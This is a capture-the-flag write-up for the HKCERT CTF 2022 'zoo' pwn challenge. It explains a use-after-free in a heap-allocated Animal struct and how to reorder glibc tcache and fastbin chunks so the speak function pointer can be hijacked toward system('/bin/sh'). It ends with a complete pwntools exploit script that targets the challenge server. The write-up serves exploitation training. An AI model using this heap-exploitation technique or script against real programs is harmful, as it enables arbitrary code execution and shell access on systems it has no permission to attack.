HKCERTCTF2022
Pwn
diff zoo.c ../uaf_14a0a6f911cd2fa4cb75e3896153ec4b/zoo.c
5a6
> #define MAX_NAME_SIZE 0x40
29a31,34
> void get_shell() {
> system("/bin/sh");
> }
>
48c53
< print("Welcome to abc Zoo!!!");
---
> print("Welcome to ABC Zoo!!!");
105c110,119
< animal->name = (char*) malloc(0x18);
---
> print("How long is the name? (max: 64 characters)");
> while (1) {
> printf("> ");
> scanf("%d", &size);
> if (size >= 0 && size < MAX_NAME_SIZE) {
> animal->name = (char*) malloc(size);
> break;
> }
> printf("??\n");
> }
109c123
< read(0, animal->name, 0x18);
---
> read(0, animal->name, size);
So the changes are as following:
animal->name
is now fixed to size 0x18 bytesget_shell
The vulnerbility is the same as the previous challenge UAF. The vulnerbility of use-after-free still exists as the vulnerable codes mentioned in the previous write up were not modified.
The challenge here is we can no longer control the chunk size that is assigned to animal->name
, making it a bit harder for us to allocate the desired Animal
chunk to where we control. Our previous exploit could not work as we can no longer seperate the first chunk allocated for Animal
and the second chunk allocated for animal->name
by using different chunk size. Now both chunk has the same size and will be allocated to the 0x20 size tcache bin.
Animal
chunk to animal->name
There is a neat property implemented in glibc that would fill the tcache from fast bin in reverse order if the tcache is empty but fast bin is not empty.
I think I read it from here: fastbin_reverse_into_tcache.c
We want to reallocate an Animal
chunk to animal->name
. To achieve so, we need to have the Animal
chunk in the second linked list of the tcache. After some trial and error, we could manipulate the tcache and fast bin as following to achieve that:
Call add_animal
5 times
Call remove_animal
on zone 0, 1, 2, 3, 4 to fill up tcache and put 3 chunks in fast bin
Call add_animal
3 times, now tcache has 1 chunk and fast bin has 3 chunks
Call add_animal
1 time, the remaining 2 chunk in fast bin will be put into tcache in reverse order
Call add_animal
1 time to allocated the remaining chunks
In the hopes of providing a clearer context, the following is a graph illustrates the state of bins. Each chunk is annotated in Animal
or Name
with the corresponding zone number. Please keep in mind that both tcache and fast bin are FILO.
This is the layout of bins at step 2.
At step 3, we can see the name chunk of zone 0 is at the head of tcache and the animal chunk of zone 4 is at the head of fast bin.
At step 4, Name0 and Animal4 was allocated respectively. We can control the zoo.animals[choice]->speak
of zone 4 when creating zone 8 and supplying the name.
The following graph illustrates the remaing chunks in the bin. Note that the order of Name4
and Animal3
has been reversed into tcache
At step 5, since we know zoo.animals[choice]->speak
would pass 1 parameter when the function was called, and we know the parameter is zoo.animals[choice]->name
, this means Name4 will be passed as the argument when report_name
is called on zone4. We can control the content of Name4
when creating zone 9 by inputing the name.
To verify we have control over the execution flow, input AAAAAAAA
while creating zone 8. Observe where the RIP was redirected when the zone 4 was reported.
There is no win function, but PIE was not enabled and system
is in the GOT of the binary, we can directly call system
from GOT. However it would crash probably due to stack alignment. So I tried system@plt
which worked.
I did not quite understand why my exploit worked when I got the flag from this challenge, but after finishing this write up, I think I convinced myself enough why it worked.
In addition, the attack could be shorter as after tcache was filled, the name chunk is at the head of the tcache, meaning if we add_animal
after remove_animal
was called 4 times, we would be able to get Animal
chunk from zone 2. Then we could start the exploitation from there. But I dont see an easy way to pass the parameter via Name2 when system was called. So I will probably leave this as an excercise for the reader.
from pwn import *
context.log_level = "debug"
def _add(p,name):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(name)
p.recvuntil(b'> [DEBUG]')
def _remove(p,idx):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"> ")
p.sendline(idx)
p.recvuntil(b'> [DEBUG]')
def _report(p,idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"> ")
p.sendline(idx)
chall = ELF("./_chall")
system = 0x404038
p = process(chall.path)
# gdb.attach(p, "b * report_name + 256\n c;")
# pause()
p = remote("chal.hkcert22.pwnable.hk", 28236)
_add(p,b"1")
_add(p,b"1")
_add(p,b"1")
_add(p,b"1")
_add(p,b"1")
for i in range(5):
_remove(p,f"{i}".encode())
_add(p,b"aaaa")
_add(p,b"bbbb")
_add(p,b"cccc")
_add(p,p64(0x401120))
_add(p,b"/bin/sh")
_report(p,b"4")
p.interactive()